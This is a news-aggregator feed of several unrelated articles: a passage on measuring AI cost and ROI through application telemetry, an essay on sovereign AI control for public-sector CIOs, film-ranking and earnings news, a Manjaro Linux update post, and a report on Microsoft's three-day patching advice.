<p class="wp-block-paragraph">An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.</p>



<p class="wp-block-paragraph">If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. </p>



<h2 class="wp-block-heading">Three required sources</h2>



<p class="wp-block-paragraph">Building AI ROI measurement requires three data sources, stitched together in a single model.</p>



<ol class="wp-block-list">
<li><strong>Cost data, normalized across providers.</strong> Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.</li>



<li><strong>Application-layer telemetry. </strong>This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.</li>



<li><strong>Business data. </strong>Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.</li>
</ol>



<p class="wp-block-paragraph">Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.</p>



<h2 class="wp-block-heading">Why agentic AI makes this urgent</h2>



<p class="wp-block-paragraph">Single-call inference is the easy case. One request, one cost, one customer, one outcome.</p>



<p class="wp-block-paragraph">Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.</p>



<p class="wp-block-paragraph">If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.</p>



<p class="wp-block-paragraph">When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.</p>



<h2 class="wp-block-heading">What changes when the three sources come together</h2>



<p class="wp-block-paragraph">Once the three sources are stitched together, the AI investment conversation changes.</p>



<p class="wp-block-paragraph">Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. </p>



<p class="wp-block-paragraph">Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.</p>



<h2 class="wp-block-heading">The build trap</h2>



<p class="wp-block-paragraph">AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.</p>



<p class="wp-block-paragraph">The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.</p>



<p class="wp-block-paragraph">It is a trap. Three reasons.</p>



<p class="wp-block-paragraph">Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.</p>



<p class="wp-block-paragraph">The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.</p>



<p class="wp-block-paragraph">The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.</p>



<p class="wp-block-paragraph">The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.</p>



<p class="wp-block-paragraph">The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Thu, 23 Jul 2026 11:05:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Christopher Nolan Rises Into Letterboxd’s Top 10 Directors With Seven Acclaimed Films]]></title>
<description><![CDATA[Christopher Nolan has strengthened his position among Letterboxd’s most represented directors, with seven of his movies now included in the platform’s Top 500 Films list.



Letterboxd ranks narrative feature films using average ratings submitted by its members. The official list requires a film ...]]></description>
<link>https://tsecurity.de/de/3688399/ios-mac-os/christopher-nolan-rises-into-letterboxds-top-10-directors-with-seven-acclaimed-films/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688399/ios-mac-os/christopher-nolan-rises-into-letterboxds-top-10-directors-with-seven-acclaimed-films/</guid>
<pubDate>Thu, 23 Jul 2026 10:36:50 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Christopher Nolan has strengthened his position among Letterboxd’s most represented directors, with seven of his movies now included in the platform’s Top 500 Films list.



Letterboxd ranks narrative feature films using average ratings submitted by its members. The official list requires a film to have at least 25,000 ratings, which prevents titles with only a small number of high scores from entering the ranking.



Christopher Nolan’s Films in Letterboxd Top 500







FilmLetterboxd rankThe Dark Knight24Interstellar34The Odyssey115The Prestige171Inception260Memento384Oppenheimer437



The Dark Knight remains Nolan’s highest-ranked film at number 24, followed closely by Interstellar at number 34. Both movies continue to receive strong ratings years after their original releases.



The Prestige, Inception, Memento, and Oppenheimer also appear in the Top 500, showing the lasting popularity of Nolan’s thrillers, science-fiction stories, and historical dramas.



The Odyssey Raises Nolan’s Total to Seven







Nolan previously had six films on the list. However, The Odyssey entered the ranking at number 115 during the July 19, 2026 update, increasing his total to seven.



The addition gives Nolan another major achievement and places him among a small group of directors with several films represented in Letterboxd’s highest-rated selection.



His rankings also show the wide appeal of his work. Nolan has earned recognition for superhero films, space adventures, psychological mysteries, historical stories, and large-scale action movies.



Since Letterboxd rankings change as members add new ratings, individual positions can rise or fall. Still, placing seven films inside the Top 500 highlights Nolan’s strong reputation among modern movie audiences.]]></content:encoded>
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<title><![CDATA[Google reports 12th consecutive quarter of strong revenue gains]]></title>
<description><![CDATA[Better-than-expected results come despite delays in release of powerful AI model Gemini ProGoogle’s parent company, Alphabet, reported double-digit revenue growth for its second-quarter earnings on Wednesday. This is the tech giant’s 12th consecutive quarter of massive revenue gains.The better-th...]]></description>
<link>https://tsecurity.de/de/3688396/it-nachrichten/google-reports-12th-consecutive-quarter-of-strong-revenue-gains/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688396/it-nachrichten/google-reports-12th-consecutive-quarter-of-strong-revenue-gains/</guid>
<pubDate>Thu, 23 Jul 2026 10:35:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Better-than-expected results come despite delays in release of powerful AI model Gemini Pro</p><p>Google’s parent company, Alphabet, reported double-digit revenue growth for its second-quarter earnings on Wednesday. This is the tech giant’s 12th consecutive quarter of massive revenue gains.</p><p>The better-than-expected results come as investors evaluate how Alphabet’s huge spending on AI has affected its bottom line and what its long-term plans are to sustain those enormous investments. The company revised its yearly capital expenditure forecast to $200bn, with quarterly spending growing 100% year over year.</p> <a href="https://www.theguardian.com/technology/2026/jul/22/google-earnings-report">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[[Stable Update] 2026-07-23 - Kernels, Mesa, VirtualBox, Gambas3, COSMIC, Plasma, KDE Frameworks]]></title>
<description><![CDATA[Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected end of July or beginning of August. Development speed may be a little slower the upcoming weeks. However, still let us know any ...]]></description>
<link>https://tsecurity.de/de/3688271/unix-server/stable-update-2026-07-23-kernels-mesa-virtualbox-gambas3-cosmic-plasma-kde-frameworks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688271/unix-server/stable-update-2026-07-23-kernels-mesa-virtualbox-gambas3-cosmic-plasma-kde-frameworks/</guid>
<pubDate>Thu, 23 Jul 2026 09:31:27 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-theme-toc="true"> </div>
<p>Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected end of July or beginning of August. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.</p>
<h3><a name="p-867467-current-promotions-1" class="anchor" href="https://forum.manjaro.org/#p-867467-current-promotions-1" aria-label="Heading link"></a>Current Promotions</h3>
<ul>
<li>Get the latest Gaming Laptop by Slimbook powered by Manjaro: <a href="https://slimbook.com/manjaro">Slimbook Manjaro III</a></li>
<li>Protect your personal data, keep yourself safe with Surfshark VPN: <a href="https://get.surfshark.net/aff_c?offer_id=6&amp;aff_id=14558-">See current promotion</a></li>
</ul>
<h2><a name="p-867467-recent-news-2" class="anchor" href="https://forum.manjaro.org/#p-867467-recent-news-2" aria-label="Heading link"></a>Recent News</h2>

New in Manjaro GNOME!
Or, if you prefer the command line: <a href="https://forum.manjaro.org/t/stable-update-2026-07-23-kernels-mesa-virtualbox-gambas3-cosmic-plasma-kde-frameworks/189137/1">(click for more details)</a>

KDE Plasma users with SDDM can now migrate to Plasma Login Manager <a href="https://forum.manjaro.org/t/stable-update-2026-07-23-kernels-mesa-virtualbox-gambas3-cosmic-plasma-kde-frameworks/189137/1">(click for more details)</a>

NVIDIA 590 driver drops Pascal support <a href="https://forum.manjaro.org/t/stable-update-2026-07-23-kernels-mesa-virtualbox-gambas3-cosmic-plasma-kde-frameworks/189137/1">(click for more details)</a>
<ul>
<li><a href="https://forum.manjaro.org/t/manjaro-26-1-bian-may-preview-released/187389" class="inline-onebox">Manjaro 26.1 Bian-May - Preview released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-26-0-anh-linh-released/184526" class="inline-onebox">Manjaro 26.0 Anh-Linh released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-summit-public-alpha-now-available/176995" class="inline-onebox">Manjaro Summit public Alpha now available</a></li>
<li>As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.</li>
<li>As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 7.0.14, the 7.0 series is now EOL (End Of Life). Please install 7.1, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
</ul>

Previous News <a href="https://forum.manjaro.org/t/stable-update-2026-07-23-kernels-mesa-virtualbox-gambas3-cosmic-plasma-kde-frameworks/189137/1">(click for more details)</a>
<h2><a name="p-867467-notable-package-updates-3" class="anchor" href="https://forum.manjaro.org/#p-867467-notable-package-updates-3" aria-label="Heading link"></a>Notable Package Updates</h2>
<ul>
<li><strong>Kernels</strong></li>
<li><strong>Mesa</strong> <a href="https://docs.mesa3d.org/relnotes/26.1.5.html">26.1.5</a></li>
<li><strong>VirtualBox</strong> <a href="https://www.virtualbox.org/wiki/Changelog-7.2">7.2.14</a></li>
<li><strong>Gambas3</strong> <a href="https://gambaswiki.org/wiki/doc/release/3.22.0">3.22.0</a></li>
<li><strong>Qemu</strong> <a href="https://wiki.qemu.org/ChangeLog/11.0">11.0.2</a></li>
<li><strong>PipeWire</strong> <a href="https://gitlab.freedesktop.org/pipewire/pipewire/-/releases/1.6.8">1.6.8</a></li>
<li><strong>Firefox</strong> <a href="https://www.firefox.com/en-US/firefox/152.0.6/releasenotes/">152.0.6</a></li>
<li><strong>KDE Frameworks</strong> <a href="https://kde.org/announcements/frameworks/6/6.28.0/">6.28.0</a></li>
<li><strong>KDE Plasma</strong> <a href="https://kde.org/announcements/plasma/6/6.7.3/">6.7.3</a></li>
<li><strong>COSMIC</strong> Epoch <a href="https://github.com/pop-os/cosmic-epoch/releases/tag/epoch-1.3.0">1.3.0</a></li>
<li><strong>GStreamer</strong> <a href="https://gstreamer.freedesktop.org/releases/1.28/#1.28.5">1.28.5</a></li>
<li><strong>Wine</strong> <a href="https://www.winehq.org/news/2026071001">11.13</a></li>
</ul>
<h2><a name="p-867467-additional-info-4" class="anchor" href="https://forum.manjaro.org/#p-867467-additional-info-4" aria-label="Heading link"></a>Additional Info</h2>

Python 3.14 info <a href="https://forum.manjaro.org/t/stable-update-2026-07-23-kernels-mesa-virtualbox-gambas3-cosmic-plasma-kde-frameworks/189137/1">(click for more details)</a>

Info about AUR packages <a href="https://forum.manjaro.org/t/stable-update-2026-07-23-kernels-mesa-virtualbox-gambas3-cosmic-plasma-kde-frameworks/189137/1">(click for more details)</a>
<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<p><strong>Our current supported kernels</strong></p>
<ul>
<li>linux61 6.1.177</li>
<li>linux66 6.6.144</li>
<li>linux612 6.12.96</li>
<li>linux618 6.18.39</li>
<li>linux71 7.1.4</li>
<li>linux72 7.2.0-rc4</li>
<li>linux61-rt 6.1.167_rt62</li>
<li>linux66-rt 6.6.135_rt74</li>
<li>linux612-rt 6.12.89_rt18</li>
</ul>
<p><strong>Package Changes</strong> (7/22/26 05:45 CEST)</p>
<ul>
<li>stable core x86_64:  71 new and 71 removed package(s)</li>
<li>stable extra x86_64:  1982 new and 2071 removed package(s)</li>
<li>stable multilib x86_64:  32 new and 32 removed package(s)</li>
</ul>
<p>A list of all package changes can be found <a href="https://gist.github.com/hphilm/2af362883e023aba0750a9455d3fbd2f/raw">here</a>.</p>
<p><a href="https://forum.manjaro.org/t/stable-update-2026-07-23-kernels-mesa-virtualbox-gambas3-cosmic-plasma-kde-frameworks/189137/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
<hr>
            <p><small>3 posts - 2 participants</small></p>
            <p><a href="https://forum.manjaro.org/t/stable-update-2026-07-23-kernels-mesa-virtualbox-gambas3-cosmic-plasma-kde-frameworks/189137">Read full topic</a></p>]]></content:encoded>
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<title><![CDATA[Microsoft’s 3-day patching directive comes with added operational risk]]></title>
<description><![CDATA[Microsoft 365 Director Jeremy Chapman this month took to video to tell Windows admins that the days of delaying security patches are over.



Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, i...]]></description>
<link>https://tsecurity.de/de/3688232/it-security-nachrichten/microsofts-3-day-patching-directive-comes-with-added-operational-risk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688232/it-security-nachrichten/microsofts-3-day-patching-directive-comes-with-added-operational-risk/</guid>
<pubDate>Thu, 23 Jul 2026 09:10:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Microsoft 365 Director Jeremy Chapman this month <a href="https://www.youtube.com/watch?v=QdjSkbKXoJw">took to video to tell Windows admins</a> that the days of delaying security patches are over.</p>



<p class="wp-block-paragraph">Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, in many cases deferring patch rollouts for two to four weeks or more to ensure stability. Microsoft argues that this cautious approach, though understandable, is no longer viable because AI is accelerating the discovery and exploitation of software vulnerabilities.</p>



<p class="wp-block-paragraph">As a result, Microsoft has advised admins to act on patches within three days.</p>



<p class="wp-block-paragraph">Independent experts agree with Microsoft’s diagnosis of the <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">problems posed by AI-powered vulnerability discovery</a>, but many say Microsoft’s three-day remediation window is unrealistic for large enterprises with heavy testing, change-control, and compatibility constraints.</p>



<p class="wp-block-paragraph">Instead of taking a blanket approach, enterprises need to focus more on quickly resolving those vulnerabilities that are under active exploitation and relevant to their environments, according to critics of Microsoft’s revised approach.</p>



<h2 class="wp-block-heading">Tighter patching deadlines</h2>



<p class="wp-block-paragraph">Microsoft’s <a href="https://techcommunity.microsoft.com/blog/microsoftmechanicsblog/deploy-windows-updates-to-counter-ai-discovered-threats/4534505">revised vulnerability remediation advice</a> comes in the wake of its work with <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">Anthropic’s Project Glasswing</a> and findings from Microsoft’s own MDASH multi-model agentic scanning harness. Tighter patching deadlines are configurable via Windows Autopatch and Microsoft Intune or update tooling options such as Microsoft Configuration Manager and Windows Server Update Services.</p>



<p class="wp-block-paragraph">As IT environments become increasingly more complex, inadvertent issues can occur with what appears to be a simple patch.</p>



<p class="wp-block-paragraph">Unique or complex deployments may not be compatible with a patch, resulting in potential data corruption, system shutdown, or the dreaded “Blue Screen of Death.” Multiple vendors in the operating system and the enterprise software and security market have released patches that have broken products and caused outages, so the issue goes well beyond Windows shops.</p>



<p class="wp-block-paragraph">Increasing both the volume and the speed of patching is unsustainable for most security teams because organizations are <a href="https://www.csoonline.com/article/3520881/patch-management-a-dull-it-pain-that-wont-go-away.html">already struggling with successful remediation</a> as it is.</p>



<p class="wp-block-paragraph">“Many organizations have patch windows, review cycles, and test environments to identify these issues prior to patching production environments,” says Scott Caveza, senior research manager at exposure management and vulnerability assessment firm Tenable. “Organizations lacking the resources for extended validation risk deploying faulty patches that cause downtime or force last-minute configuration changes.”</p>



<p class="wp-block-paragraph">Caveza adds: “The mitigation steps will vary for each organization, but blindly relying on auto-updates without contextual validation is not a defensible security posture.”</p>



<p class="wp-block-paragraph">CISA’s Known Exploited Vulnerabilities list and other industry data suggest that only a small fraction of disclosed vulnerabilities are confirmed as exploited in the wild.</p>



<p class="wp-block-paragraph">“[Enterprises should focus on] identifying vulnerabilities with credible and functional PoCs, verified exploitation, or sustained attention from ransomware groups, threat actors, and botnets,” says Caitlin Condon, vice president of security research at VulnCheck. “Timely exploit intelligence helps organizations identify the bugs that require immediate attention, while allowing lower-risk issues to proceed through appropriate testing and change control.”</p>



<p class="wp-block-paragraph">Other independent experts are more sympathetic to Microsoft’s argument that AI has made vulnerability discovery and exploit development faster than ever and, as a result, the risks of delaying patches are far greater.</p>



<p class="wp-block-paragraph">“Organizations sometimes delay patches to protect the uptime of critical systems, and many updates still require a restart,” says Danny Jenkins, CEO and co-founder at endpoint protection technology vendor ThreatLocker. “Some teams also stay one update cycle behind because they are concerned that a new patch could introduce bugs or break an overlooked dependency. Unfortunately, delaying patches to preserve uptime is becoming much harder to justify.”<br><br>Jenkins adds: “Organizations should not leave critical systems exposed while waiting for the next maintenance window. Patches should still be tested, but that process needs to move quickly, with the highest priority given to vulnerabilities that are actively exploited or exposed to the internet. A controlled interruption is usually far less costly than a successful attack exploiting a known vulnerability.”</p>



<h2 class="wp-block-heading">Wider cross-industry impact</h2>



<p class="wp-block-paragraph">Microsoft’s three-day recommendation reflects a fundamental change in the threat landscape. Other vendors might be expected to follow suit and that means CISOs need to revise their approach to vulnerability remediation.</p>



<p class="wp-block-paragraph">“Organizations should expect faster disclosure-to-exploitation timelines to become the norm, which means security programs must emphasize automation, trusted software supply chains, and continuous visibility rather than relying on periodic maintenance windows,” says Mike Nelson, VP and field CTO at DigiCert.</p>



